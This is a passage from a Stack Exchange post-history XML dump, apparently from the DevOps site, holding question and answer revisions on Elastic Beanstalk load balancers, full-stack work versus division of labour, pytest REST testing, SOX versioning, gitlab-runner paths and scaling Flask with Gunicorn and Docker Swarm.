'1'&#xD;&#xA;&#xD;&#xA;-----------------------&#xD;&#xA;Update:&#xD;&#xA;&#xD;&#xA;At least part of what is going on here, I believe, is that the environment, after it starts has &quot;Environment type: Single instance&quot; according to the Elastic Beanstalk web UI.&#xD;&#xA;&#xD;&#xA;And I'm getting this with the following (consolidated) .config file:&#xD;&#xA;&#xD;&#xA;    Resources:&#xD;&#xA;      AWSEBLoadBalancer:&#xD;&#xA;        Type: AWS::ElasticLoadBalancing::LoadBalancer&#xD;&#xA;        Properties:&#xD;&#xA;          Listeners:&#xD;&#xA;          - InstancePort: 80&#xD;&#xA;            InstanceProtocol: HTTP&#xD;&#xA;            LoadBalancerPort: 443&#xD;&#xA;            Protocol: HTTPS&#xD;&#xA;            SSLCertificateId: &lt;snip&gt;&#xD;&#xA;    option_settings:&#xD;&#xA;      aws:elb:listener:&#xD;&#xA;        ListenerEnabled: 'false'&#xD;&#xA;      aws:elasticbeanstalk:healthreporting:system:&#xD;&#xA;        SystemType: enhanced&#xD;&#xA;      aws:autoscaling:launchconfiguration:&#xD;&#xA;        IamInstanceProfile: aws-elasticbeanstalk-ec2-role&#xD;&#xA;        InstanceType: t2.micro&#xD;&#xA;        EC2KeyName: amazon1    &#xD;&#xA;      aws:autoscaling:asg:&#xD;&#xA;        MaxSize: '1'&#xD;&#xA;      aws:elasticbeanstalk:environment:&#xD;&#xA;        EnvironmentType: LoadBalanced&#xD;&#xA;        LoadBalancerType: classic&#xD;&#xA;        ServiceRole: aws-elasticbeanstalk-service-role&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8159" PostHistoryTypeId="50" PostId="2095" RevisionGUID="9706c299-5403-4a98-bf16-b0c64e2cc9b5" CreationDate="2017-11-20T11:14:33.230" UserId="-1" />
  <row Id="8160" PostHistoryTypeId="50" PostId="1725" RevisionGUID="53224b2c-8b1c-416f-8914-6735195f54a2" CreationDate="2017-11-20T17:15:12.703" UserId="-1" />
  <row Id="8161" PostHistoryTypeId="2" PostId="2611" RevisionGUID="9a244eb7-520a-43e3-a86f-3c511c148d0b" CreationDate="2017-11-20T17:36:42.800" UserId="4252" Text="In short, I don't think Adam Smith was wrong, but I do think there are some serious differences between his model of labor division in manufacturing and silos in software development.&#xD;&#xA;&#xD;&#xA;First, the pin factory example (as far as I know) was merely hypothetical; although most modern manufacturing factories can trace their roots to this division of labor, I am unaware of any studies that have actually tested scientifically this hypothesis. &#xD;&#xA;&#xD;&#xA;Second, Smith was primarily concerned with manufacturing material goods; there are certain tangible outputs associated with material production that do not have similar analogs in software development. For example, in pin making, physical dimensions are important as a functional requirement; there's no obvious comparison to that in software.  This is important because tangible objects can be replicated through exact repetition; software development is never the same problem twice.  Developers develop common methods to produce predictable results, but you never code the same problem twice.  Any component developed in the stack has intricacies unlike physical components, and those intricacies have interactions beyond tangible measurement (height, weight, length, etc).  A pin pointer doesn't care how the wire cutter works, as long as the wire gets cut according to spec.  In software development, [the boundaries are never quite that clear][1].&#xD;&#xA;&#xD;&#xA;Full stack developers are not expected to do all of the work themselves (they're not intended to be a single pin maker), but they are expected to be capable of understanding all of the elements of the stack and how those elements interact.  A full stack team should be comprised of [T-shaped individuals][2] who specialize in one or more areas, but understand the spectrum (and may be able to step in at some level).&#xD;&#xA;&#xD;&#xA;Where I think Smith's work holds true in software development is in the area of context switching (or [multitasking][3]); if a single developer is responsible for all areas of development, it takes time to shift from responsibility to responsibility.  At scale, collaboration between team members with different experiences in the same product team can balance context switching and complex interactions.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Object-relational_impedance_mismatch&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/T-shaped_skills&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Human_multitasking" ContentLicense="CC BY-SA 3.0" />
  <row Id="8162" PostHistoryTypeId="50" PostId="1579" RevisionGUID="b23a19be-3fdb-4948-bf52-fc8354d18d81" CreationDate="2017-11-20T18:16:09.770" UserId="-1" />
  <row Id="8164" PostHistoryTypeId="5" PostId="1739" RevisionGUID="0bf8136a-3f74-4e89-bc6c-cc5bed22d609" CreationDate="2017-11-20T18:58:55.923" UserId="47" Comment="improved readability" Text="Docker images are after all VM templates, i.e. they have to be more or less self-contained: you get the image, you run the environment with all the dependencies.&#xD;&#xA;&#xD;&#xA;To approach the challenge **operationally**, Docker supports reuse of environments through the `FROM` statement i.e. you could maintain a base image and on top a much smaller image with the app itself. &#xD;&#xA;&#xD;&#xA;But, from the **strategic point of view**, I would say your architects might want consider splitting the whole thing into smaller microservices - that would allow for 5 smaller images. Of course I cannot judge whether it's really possible." ContentLicense="CC BY-SA 3.0" />
  <row Id="8166" PostHistoryTypeId="2" PostId="2613" RevisionGUID="eb40c001-53a9-47f1-81a4-650e0cc7ab23" CreationDate="2017-11-21T09:06:01.290" UserId="13" Text="An important point to understand is that labour division doesn't mean always mean different person per step.&#xD;&#xA;&#xD;&#xA;I'd take my own history in car factory, I was on a seat assembly chain, to get a full seat with airbag, leather, head rest etc. the chain was split in 9 stages. We were 9 working on the chain. Each person was doing only one stage at a time, but every hour we were shifting on the next stage to avoid too much repetition. The workday was 8h long so we didn't get on each stage every day.&#xD;&#xA;&#xD;&#xA;This is exactly a labour division where you do only one step of the assembly at a given time, that doesn't prevent you to be able to do the full assembly.&#xD;&#xA;&#xD;&#xA;As already stated in other answers this is a little different than software development but I think this shed light on why a Full Stack developer isn't mutually exclusive with labour division, someone with the abilities to handle the whole life cycle of an application is not required to do it all the time.&#xD;&#xA;&#xD;&#xA;Generally speaking when I hear FullStack developer I think more of someone able to code efficient back-ends and nice UI at the same time, in opposition with Front and Back Dev.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8167" PostHistoryTypeId="50" PostId="2102" RevisionGUID="ed7edd82-6fdf-4acc-9564-47594522cc36" CreationDate="2017-11-21T14:26:52.537" UserId="-1" />
  <row Id="8168" PostHistoryTypeId="5" PostId="2613" RevisionGUID="9c549b8c-fda2-46d2-817c-1b857e31ac92" CreationDate="2017-11-21T14:46:35.347" UserId="47" Comment="improved readability" Text="An important point to understand is that labour division doesn't always mean a different person per step.&#xD;&#xA;&#xD;&#xA;I'd take my own history in a car factory, I was on a seat assembly chain, to get a full seat with airbag, leather, head rest etc. the chain was split in 9 stages. We were 9 working on the chain. Each person was doing only one stage at a time, but every hour we were shifting on the next stage to avoid too much repetition. The workday was 8h long so we didn't get on each stage every day.&#xD;&#xA;&#xD;&#xA;This is exactly a labour division where you do only one step of the assembly at a given time, that doesn't prevent you to be able to do the full assembly.&#xD;&#xA;&#xD;&#xA;As already stated in other answers this is a little different than software development but I think this sheds light on why a Full Stack developer isn't mutually exclusive with labour division, someone with the abilities to handle the whole life cycle of an application is not required to do it all the time.&#xD;&#xA;&#xD;&#xA;Generally speaking when I hear FullStack developer I think more of someone able to code efficient back-ends and nice UI at the same time, in opposition with Front and Back Dev.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8169" PostHistoryTypeId="2" PostId="2614" RevisionGUID="babe3893-4bfe-4b42-abe1-b1f48da62be5" CreationDate="2017-11-21T18:08:44.130" UserId="519" Text="You could look at tools such as [Postman](https://www.getpostman.com/) which focuses on testing REST APIs with JavaScript - it has some nice features but you lose the use of Python.&#xD;&#xA;&#xD;&#xA;Instead have a look at relevant plugins for [pytest](https://docs.pytest.org/en/latest/), a Python test framework that simplifies your test code, while still running tests written using `unittest`. &#xD;&#xA;&#xD;&#xA;- For example, writing [parameterised tests](http://pythontesting.net/framework/pytest/pytest-fixtures-nuts-bolts/#real) avoids boring and error-prone duplicate test code.&#xD;&#xA;&#xD;&#xA;Pytest has a huge set of plugins that simplify various tasks, including:&#xD;&#xA;&#xD;&#xA;- [Tavern](https://taverntesting.github.io/), which specialises in testing REST APIs and seems highly relevant here - sort of &quot;Postman for Python unit tests&quot;. &#xD;&#xA;&#xD;&#xA;- [pytest-curl-report](https://pypi.python.org/pypi/pytest-curl-report) - when  testing with the `requests` library, will print a `curl` command you can use to reproduce the error from shell. &#xD;&#xA;&#xD;&#xA;- [Testinfra](https://testinfra.readthedocs.io/en/latest/) - focuses on server testing (e.g. state of OS packages, files, processes, etc, usually tested on remote servers) - strongly recommended if you also need this type  e.g. to test Ansible code.&#xD;&#xA;   - For those who use Puppet or Chef, Testinfra is similar to Beaker+RSpec, ServerSpec or Inspec.&#xD;&#xA;&#xD;&#xA;If you don't like Tavern, you can of course use `pycurl` with `pytest`, which makes it easier to diagnose exactly what failed. This example from the [pytest-curl-report site](https://pypi.python.org/pypi/pytest-curl-report) uses only generic pytest features:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ py.test test.py&#xD;&#xA;    ============================= test session starts ==============================&#xD;&#xA;    platform darwin -- Python 2.7.9 -- py-1.4.27 -- pytest-2.6.4&#xD;&#xA;    plugins: curl-report, httpbin, cache, capturelog, cov, flakes, pep8&#xD;&#xA;    collected 1 items&#xD;&#xA;    &#xD;&#xA;    test.py F&#xD;&#xA;    &#xD;&#xA;    =================================== FAILURES ===================================&#xD;&#xA;    ______________________________ test_requests_get _______________________________&#xD;&#xA;    &#xD;&#xA;        def test_requests_get():&#xD;&#xA;            r = requests.get('http://httpbin.org/get')&#xD;&#xA;    &gt;       assert False&#xD;&#xA;    E       assert False&#xD;&#xA;    &#xD;&#xA;    test.py:7: AssertionError&#xD;&#xA;&#xD;&#xA;You can do all tests with a plain `assert`, and optionally include a helpful message as part of the output, e.g. `assert cmd.rc == 9, &quot;curl command couldn't resolve hostname&quot;`.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8170" PostHistoryTypeId="5" PostId="2614" RevisionGUID="96f7a538-ee9e-470b-bd4f-50fec5c996fd" CreationDate="2017-11-21T18:14:46.627" UserId="519" Comment="wording" Text="You could look at tools such as [Postman](https://www.getpostman.com/) which focuses on testing REST APIs with JavaScript - it has some nice features but you lose the use of Python.&#xD;&#xA;&#xD;&#xA;Instead, I'd suggest looking at REST-related plugins for [pytest](https://docs.pytest.org/en/latest/), a Python test framework that simplifies your test code, while still running tests written using `unittest`. &#xD;&#xA;&#xD;&#xA;- For example, writing [parameterised tests](http://pythontesting.net/framework/pytest/pytest-fixtures-nuts-bolts/#real) avoids boring and error-prone duplicate test code.&#xD;&#xA;&#xD;&#xA;Pytest has a huge set of plugins that simplify various tasks, including:&#xD;&#xA;&#xD;&#xA;- [Tavern](https://taverntesting.github.io/), which specialises in testing REST APIs and seems highly relevant here - sort of &quot;Postman for Python unit tests&quot;. &#xD;&#xA;&#xD;&#xA;- [pytest-curl-report](https://pypi.python.org/pypi/pytest-curl-report) - when  testing with the `requests` library, will print a `curl` command you can use to reproduce the error from shell. &#xD;&#xA;&#xD;&#xA;- [Testinfra](https://testinfra.readthedocs.io/en/latest/) - focuses on server testing (e.g. state of OS packages, files, processes, etc, usually tested on remote servers) - strongly recommended if you also need this type  e.g. to test Ansible code.&#xD;&#xA;   - For those who use Puppet or Chef, Testinfra is similar to Beaker+RSpec, ServerSpec or Inspec.&#xD;&#xA;&#xD;&#xA;If you don't like Tavern, you can of course use `pycurl` with `pytest`, which makes it easier to diagnose exactly what failed. This example from the [pytest-curl-report site](https://pypi.python.org/pypi/pytest-curl-report) uses only generic pytest features:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ py.test test.py&#xD;&#xA;    ============================= test session starts ==============================&#xD;&#xA;    platform darwin -- Python 2.7.9 -- py-1.4.27 -- pytest-2.6.4&#xD;&#xA;    plugins: curl-report, httpbin, cache, capturelog, cov, flakes, pep8&#xD;&#xA;    collected 1 items&#xD;&#xA;    &#xD;&#xA;    test.py F&#xD;&#xA;    &#xD;&#xA;    =================================== FAILURES ===================================&#xD;&#xA;    ______________________________ test_requests_get _______________________________&#xD;&#xA;    &#xD;&#xA;        def test_requests_get():&#xD;&#xA;            r = requests.get('http://httpbin.org/get')&#xD;&#xA;    &gt;       assert False&#xD;&#xA;    E       assert False&#xD;&#xA;    &#xD;&#xA;    test.py:7: AssertionError&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Pytest lets you write all tests with a plain `assert`, and optionally include a helpful message as part of the output, e.g. to check the exit status of a `curl` command run via Testinfra, you might write `assert cmd.rc == 9, &quot;curl command couldn't resolve hostname&quot;`.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8171" PostHistoryTypeId="5" PostId="2614" RevisionGUID="b501c54a-cfe5-42e0-93a3-b6a35820dbe8" CreationDate="2017-11-21T18:23:12.153" UserId="519" Comment="better example" Text="You could look at tools such as [Postman](https://www.getpostman.com/) which focuses on testing REST APIs with JavaScript - it has some nice features but you lose the use of Python.&#xD;&#xA;&#xD;&#xA;Instead, I'd suggest looking at REST-related plugins for [pytest](https://docs.pytest.org/en/latest/), a Python test framework that simplifies your test code, while still running tests written using `unittest`. &#xD;&#xA;&#xD;&#xA;- For example, writing [parameterised tests](http://pythontesting.net/framework/pytest/pytest-fixtures-nuts-bolts/#real) avoids boring and error-prone duplicate test code.&#xD;&#xA;&#xD;&#xA;Pytest has a huge set of plugins that simplify various tasks, including:&#xD;&#xA;&#xD;&#xA;- [Tavern](https://taverntesting.github.io/), which specialises in testing REST APIs and seems highly relevant here - sort of &quot;Postman for Python unit tests&quot;. &#xD;&#xA;&#xD;&#xA;- [pytest-curl-report](https://pypi.python.org/pypi/pytest-curl-report) - when  testing with the `requests` library, will print a `curl` command you can use to reproduce the error from shell. &#xD;&#xA;&#xD;&#xA;- [Testinfra](https://testinfra.readthedocs.io/en/latest/) - focuses on server testing (e.g. state of OS packages, files, processes, etc, usually tested on remote servers) - strongly recommended if you also need this type  e.g. to test Ansible code.&#xD;&#xA;   - For those who use Puppet or Chef, Testinfra is similar to Beaker+RSpec, ServerSpec or Inspec.&#xD;&#xA;&#xD;&#xA;If you don't like Tavern, you can of course use `pycurl` with `pytest`, which makes it easier to diagnose exactly what failed. This example from the [pytest-curl-report site](https://pypi.python.org/pypi/pytest-curl-report) uses only generic pytest features:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ py.test test.py&#xD;&#xA;    ============================= test session starts ==============================&#xD;&#xA;    platform darwin -- Python 2.7.9 -- py-1.4.27 -- pytest-2.6.4&#xD;&#xA;    plugins: curl-report, httpbin, cache, capturelog, cov, flakes, pep8&#xD;&#xA;    collected 1 items&#xD;&#xA;    &#xD;&#xA;    test.py F&#xD;&#xA;    &#xD;&#xA;    =================================== FAILURES ===================================&#xD;&#xA;    ______________________________ test_requests_get _______________________________&#xD;&#xA;    &#xD;&#xA;        def test_requests_get():&#xD;&#xA;            r = requests.get('http://httpbin.org/get')&#xD;&#xA;    &gt;       assert False&#xD;&#xA;    E       assert False&#xD;&#xA;    &#xD;&#xA;    test.py:7: AssertionError&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Pytest lets you write all tests with a plain `assert`, and optionally include a helpful message as part of the output.  For example, one of your tests could be written:&#xD;&#xA;&#xD;&#xA;    def test_2():&#xD;&#xA;        assert pycurl.response(&quot;some_url&quot;).matches (&quot;xxx&quot;), &quot;xxx not found in response&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8172" PostHistoryTypeId="2" PostId="2615" RevisionGUID="96549d13-5c44-4452-a8a5-c24a3466a024" CreationDate="2017-11-21T19:02:10.757" UserId="5317" Text="When dealing with publishing SOX application artifacts what is the best strategy for versioning SNAPSHOTS?&#xD;&#xA;&#xD;&#xA;I'm currently following the semver pattern `&lt;major&gt;.&lt;minor&gt;.&lt;patch&gt;` and wondering if it is necessary to get granular with the version strategy and append something like a git hash to the end? e.g. `&lt;major&gt;.&lt;minor&gt;.&lt;patch&gt;-SNAPSHOT&lt;githash&gt;` &#xD;&#xA;&#xD;&#xA;Or can I treat SNAPSHOTS as a SNAPSHOT should be and drop the hash all together?&#xD;&#xA;&#xD;&#xA;My argument for the latter is that SNAPSHOTS are not cut as release candidates (rc) until they actually enter the release pipeline and therefore can be clobbered, especially when following a mature CI pattern where changes are continuously merged to master following early testing validation.&#xD;&#xA;&#xD;&#xA;In addition to this, typically in an organization, a change request is only opened and tracked at the time you are performing a release.&#xD;&#xA;&#xD;&#xA;Thanks." ContentLicense="CC BY-SA 3.0" />
  <row Id="8173" PostHistoryTypeId="1" PostId="2615" RevisionGUID="96549d13-5c44-4452-a8a5-c24a3466a024" CreationDate="2017-11-21T19:02:10.757" UserId="5317" Text="Sarbanes-Oxley (SOX) Versioning Strategy" ContentLicense="CC BY-SA 3.0" />
  <row Id="8174" PostHistoryTypeId="3" PostId="2615" RevisionGUID="96549d13-5c44-4452-a8a5-c24a3466a024" CreationDate="2017-11-21T19:02:10.757" UserId="5317" Text="&lt;versioning&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8175" PostHistoryTypeId="5" PostId="1112" RevisionGUID="0456d1a4-6d20-4252-99b7-90161689b65e" CreationDate="2017-11-22T01:11:57.117" UserId="60" Comment="Improved formatting" Text="I have a server pointed as ab12.xy24.com in which the projects are placed as:&#xD;&#xA;&#xD;&#xA;     Path-1  &#xD;&#xA;     /home/ab12/public_html/project1/*  &#xD;&#xA;     /home/ab12/public_html/project2/*  &#xD;&#xA;     ................................&#xD;&#xA;     /home/ab12/public_html/projectn/{project-files}&#xD;&#xA;&#xD;&#xA;I am using gitlab-runner for CI and CD. The build is being built as:&#xD;&#xA;&#xD;&#xA;     Path-2  &#xD;&#xA;     /home/ab12/build/{runner-token}/{commit-id}/{group-name}/project1/{project-files}&#xD;&#xA;     /home/ab12/build/{runner-token}/{commit-id}/{group-name}/project1/{project-files}&#xD;&#xA;&#xD;&#xA;I want the build path to be as in Path-1 style instead of path-2 style.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What have I tried?&#xD;&#xA;&#xD;&#xA;I tried changing the `build_path=&quot;path1&quot;` variable which only changed:&#xD;&#xA;&#xD;&#xA;    /home/ab12/build/{runner-token}/{commit-id}/{group name}/project1/{project-files}&#xD;&#xA;&#xD;&#xA; to&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;    /home/ab12/path1/{runner-token}/{commit-id}/{group-name}/project1/{project-files}&#xD;&#xA;&#xD;&#xA;I cannot also use docker as due to its virtualization concept and takes much space, which is not desired.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8176" PostHistoryTypeId="24" PostId="1112" RevisionGUID="0456d1a4-6d20-4252-99b7-90161689b65e" CreationDate="2017-11-22T01:11:57.117" Comment="Proposed by 60 approved by 40, 47 edit id of 534" ContentLicense="CC BY-SA 3.0" />
  <row Id="8180" PostHistoryTypeId="5" PostId="281" RevisionGUID="5a155e92-13e3-4ce1-ada7-8a7c92435935" CreationDate="2017-11-22T04:53:26.710" UserId="60" Comment="Minor grammar fixes, https instead of http" Text="Deployment is the activity of making a system or part of a system available for use in a target environment.&#xD;&#xA;&#xD;&#xA;It is worth noting the DevOps Practice of Continuous Deployment seeks to [separate release from deployment][1]:&#xD;&#xA;&#xD;&#xA;&gt; For most organizations releasing and deploying are the same thing while in fact, these are 2 separate things:&#xD;&#xA;&gt; &#xD;&#xA;&gt; - Deployment: A technical handling where a new version of the software is deployed to a specific environment&#xD;&#xA;&gt; - Release: A business handling where the customers are informed that a new version of the software is available and can be used&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bartwullems.blogspot.co.uk/2015/07/continuous-delivery-decouple-release.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="8181" PostHistoryTypeId="24" PostId="281" RevisionGUID="5a155e92-13e3-4ce1-ada7-8a7c92435935" CreationDate="2017-11-22T04:53:26.710" Comment="Proposed by 60 approved by 47, 707 edit id of 539" ContentLicense="CC BY-SA 3.0" />
  <row Id="8182" PostHistoryTypeId="5" PostId="2604" RevisionGUID="413238bd-ee4a-47af-9426-f788a365c297" CreationDate="2017-11-22T04:53:47.803" UserId="210" Comment="added 69 characters in body" Text="When a question is about Sonatypes Nexus then this tag could be used." ContentLicense="CC BY-SA 3.0" />
  <row Id="8183" PostHistoryTypeId="24" PostId="2604" RevisionGUID="413238bd-ee4a-47af-9426-f788a365c297" CreationDate="2017-11-22T04:53:47.803" Comment="Proposed by 210 approved by 47, 707 edit id of 533" ContentLicense="CC BY-SA 3.0" />
  <row Id="8184" PostHistoryTypeId="5" PostId="291" RevisionGUID="786980bf-1c7e-4719-a3d2-200fe7f3dfe0" CreationDate="2017-11-22T04:54:38.260" UserId="60" Comment="Improved grammar" Text="Continuous-Integration (CI) is the process of merging developer's working code copies to a shared codebase frequently to prevent or minimize integration problems. For questions about a specific CI system like [Jenkins] or [Travis-CI] use those tags instead." ContentLicense="CC BY-SA 3.0" />
  <row Id="8185" PostHistoryTypeId="24" PostId="291" RevisionGUID="786980bf-1c7e-4719-a3d2-200fe7f3dfe0" CreationDate="2017-11-22T04:54:38.260" Comment="Proposed by 60 approved by 47, 707 edit id of 538" ContentLicense="CC BY-SA 3.0" />
  <row Id="8186" PostHistoryTypeId="5" PostId="290" RevisionGUID="e4ad9d66-9fa5-42e7-9256-337a94004954" CreationDate="2017-11-22T04:55:03.377" UserId="60" Comment="Improved grammar" Text="Continuous-Integration (CI) is the process of merging developer's working code copies to a shared codebase frequently and test it to prevent or quickly identify and resolve integration problems. The idea is that developers write and commit small pieces of code and check several times a day if their code alterations break existing functionality.&#xD;&#xA;&#xD;&#xA;There are many (server) systems that facilitate continuous integration and the work they do is often also called continuous integration. This usually includes (but is not limited to) code compilation and executing unit and integration tests. Some often-used CI software includes:&#xD;&#xA;&#xD;&#xA; - [tag:Jenkins]&#xD;&#xA; - [tag:Travis-CI]&#xD;&#xA; - [tag:CircleCI]&#xD;&#xA; - [tag:TeamCity]&#xD;&#xA; - Microsoft Team Foundation&#xD;&#xA; - [tag:Bamboo]&#xD;&#xA;&#xD;&#xA;A comparison of CI software can be found on [Wikipedia](https://en.wikipedia.org/wiki/Comparison_of_continuous_integration_software).&#xD;&#xA;&#xD;&#xA;Continuous-integration is generally seen as a first step to achieve [tag:continuous-delivery] and [tag:continuous-deployment]. &#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Usage&lt;/h2&gt;&#xD;&#xA;Use this tag for questions about continuous integration in general. For questions about specific CI software, it's best to use the tag for that system (if one exists).&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8187" PostHistoryTypeId="24" PostId="290" RevisionGUID="e4ad9d66-9fa5-42e7-9256-337a94004954" CreationDate="2017-11-22T04:55:03.377" Comment="Proposed by 60 approved by 47, 707 edit id of 537" ContentLicense="CC BY-SA 3.0" />
  <row Id="8188" PostHistoryTypeId="5" PostId="1615" RevisionGUID="d3d4b81e-c516-4418-beb5-e003c777f580" CreationDate="2017-11-22T07:32:01.003" UserId="519" Comment="update to mention 2.4.1 which is now out." Text="You should probably create an Ansible issue for this as it's most likely a bug in Ansible.&#xD;&#xA;&#xD;&#xA;The first error makes me think about WinRM pipelining:&#xD;&#xA;&#xD;&#xA;- Ansible 2.3.0 introduced an always-on WinRM pipelining feature (similar to [SSH pipelining](http://docs.ansible.com/ansible/latest/intro_configuration.html#pipelining)), and that may be behind this.  &#xD;&#xA;- SSH pipelining can cause issues in Ansible for Linux, and it can be useful to turn it off, but this isn't yet possible for WinRM pipelining.&#xD;&#xA;&#xD;&#xA;This [related issue](https://github.com/ansible/ansible/pull/25012) includes some Git commits that will re-enable 'non-pipelined' mode in a future release (should now be released in 2.4, possibly with a backport as part of 2.3.2 - see [this comment](https://github.com/hashicorp/packer/issues/4904#issuecomment-317185655))&#xD;&#xA;&#xD;&#xA;Try upgrading to 2.4.1+ (which generally works well) to get the fix.  Or try downgrading to Ansible 2.2.3 to see if this helps - this will disable WinRM pipelining and may avoid other regression bugs in this area.&#xD;&#xA;&#xD;&#xA;- If you installed Ansible using `pip`, you can do  `pip install ansible==2.4.1` &#xD;&#xA; to upgrade (or `ansible==2.2.3` to downgrade), then if that doesn't help, do the same with `2.3.1` to upgrade again." ContentLicense="CC BY-SA 3.0" />
  <row Id="8189" PostHistoryTypeId="2" PostId="2617" RevisionGUID="1c8ac3e7-d3cc-4bcf-b7f9-591e3e7f7631" CreationDate="2017-11-22T08:38:23.723" UserId="5326" Text="1.Deployment frequency  &#xD;&#xA;2.Speed of deployment                                                     &#xD;&#xA;3.Deployment success rate              &#xD;&#xA;4.How quickly service can be restored after a failed deployment  &#xD;&#xA;    And finally,   &#xD;&#xA;5.DevOpsCulture, which actually can’t be measured" ContentLicense="CC BY-SA 3.0" />
  <row Id="8193" PostHistoryTypeId="2" PostId="2619" RevisionGUID="ab1c8b24-a822-48d2-86d0-939c7a026b6b" CreationDate="2017-11-22T11:48:00.640" UserId="5331" Text="so I have this nice rest API implemented in Flask running in docker and I am thinking about scaling. This is how I progressed:&#xD;&#xA;&#xD;&#xA;    CMD [&quot;flask&quot;, &quot;run&quot;, &quot;--host=0.0.0.0&quot;]&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    docker run -d -p 5000:5000 pyrest-alpine&#xD;&#xA;&#xD;&#xA;works fine&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    CMD [&quot;gunicorn&quot;, &quot;-w&quot;, &quot;4&quot;, &quot;-b&quot;, &quot;0.0.0.0:5000&quot;, &quot;pyrest:app&quot;]&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    docker run -d -p 5000:5000 pyrest-alpine&#xD;&#xA;&#xD;&#xA;This also works fine, Gunicorn provided some scaling via prefork worker model in a single container now I want to scale via replication of Docker swarm with healthchecks where both &#xD;&#xA;&#xD;&#xA;    CMD [&quot;gunicorn&quot;, &quot;-w&quot;, &quot;4&quot;, &quot;-b&quot;, &quot;0.0.0.0:5000&quot;, &quot;pyrest:app&quot;]&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    CMD [&quot;flask&quot;, &quot;run&quot;, &quot;--host=0.0.0.0&quot;]&#xD;&#xA;&#xD;&#xA;work just fine with &#xD;&#xA;&#xD;&#xA;    docker service create --name pyrest-swarm --replicas 2 -p 5000:5000 --health-interval=2s --health-timeout=10s --health-retries=3--health-cmd &quot;curl 0.0.0.0:5000/status || exit 1&quot; pyrest-alpine&#xD;&#xA;&#xD;&#xA;My question is Do I still use gunicorn when using docker swarm replication?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8194" PostHistoryTypeId="1" PostId="2619" RevisionGUID="ab1c8b24-a822-48d2-86d0-939c7a026b6b" CreationDate="2017-11-22T11:48:00.640" UserId="5331" Text="Flask, Gunicorn and Docker Swarm" ContentLicense="CC BY-SA 3.0" />
  <row Id="8195" PostHistoryTypeId="3" PostId="2619" RevisionGUID="ab1c8b24-a822-48d2-86d0-939c7a026b6b" CreationDate="2017-11-22T11:48:00.640" UserId="5331" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8196" PostHistoryTypeId="5" PostId="2615" RevisionGUID="c695314f-4149-4219-9957-47194dc1dfad" CreationDate="2017-11-22T13:46:19.433" UserId="5317" Comment="added 141 characters in body" Text="When dealing with publishing SOX application artifacts what is the best strategy for versioning SNAPSHOTS?&#xD;&#xA;&#xD;&#xA;I'm currently following the semver pattern `&lt;major&gt;.&lt;minor&gt;.&lt;patch&gt;` and wondering if it is necessary to get granular with the version strategy and append something like a git hash to the end? e.g. `&lt;major&gt;.&lt;minor&gt;.&lt;patch&gt;-SNAPSHOT&lt;githash&gt;` &#xD;&#xA;&#xD;&#xA;Or can I treat SNAPSHOTS as a SNAPSHOT should be and drop the hash all together?&#xD;&#xA;&#xD;&#xA;My argument for the latter is that SNAPSHOTS are not cut as release candidates (rc) until they actually enter the release pipeline and therefore can be clobbered, especially when following a mature CI pattern where changes are continuously merged to master following early testing validation.&#xD;&#xA;&#xD;&#xA;In addition to this, typically in an organization, a change request is only opened and tracked at the time you are performing a release.&#xD;&#xA;&#xD;&#xA;(additional convo happening [here][1])&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.reddit.com/r/devops/comments/7ekybi/sarbanesoxley_sox_versioning_strategy/" ContentLicense="CC BY-SA 3.0" />
  <row Id="8197" PostHistoryTypeId="2" PostId="2620" RevisionGUID="b52ecb5d-822d-4dda-b5c8-236fe183aad1" CreationDate="2017-11-22T16:58:40.690" UserId="5333" Text="Is it too late to teach an old dog a new trick?&#xD;&#xA;&#xD;&#xA;I've always been the guy with a monolithic application/codebase. &#xD;&#xA;&#xD;&#xA;For more than 10 years now, I've gotten good at caching, writing good SQL queries, using Redis to store frequently called read data, using background jobs to perform updates, edits, long-running tasks, e.t.c&#xD;&#xA;&#xD;&#xA;Then again, I haven't had to deal with more than 100 million rows in a db before.&#xD;&#xA;&#xD;&#xA;Not until now, I've used up all my tricks and alas no significant improvement.&#xD;&#xA;&#xD;&#xA;Now I'm coming for advice from you smart devops people. &#xD;&#xA;&#xD;&#xA;For my current app, just recently I had a rails app, my DB, and some script in the /lib, Redis, Sidekiq, all on one, you guessed it, server.  &#xD;&#xA;&#xD;&#xA;I read up on Docker and now I have Sidekiq, Redis, my app, and my db all on different containers. &#xD;&#xA;&#xD;&#xA;Now, I'd like to split some functions on my app itself. This is where I need your help.&#xD;&#xA;&#xD;&#xA;For example: &#xD;&#xA;&#xD;&#xA;Script A: I have this ruby script(a ruby class) that crawls the web for backlink data. Script A only gathers links and removes links that have been parsed already. 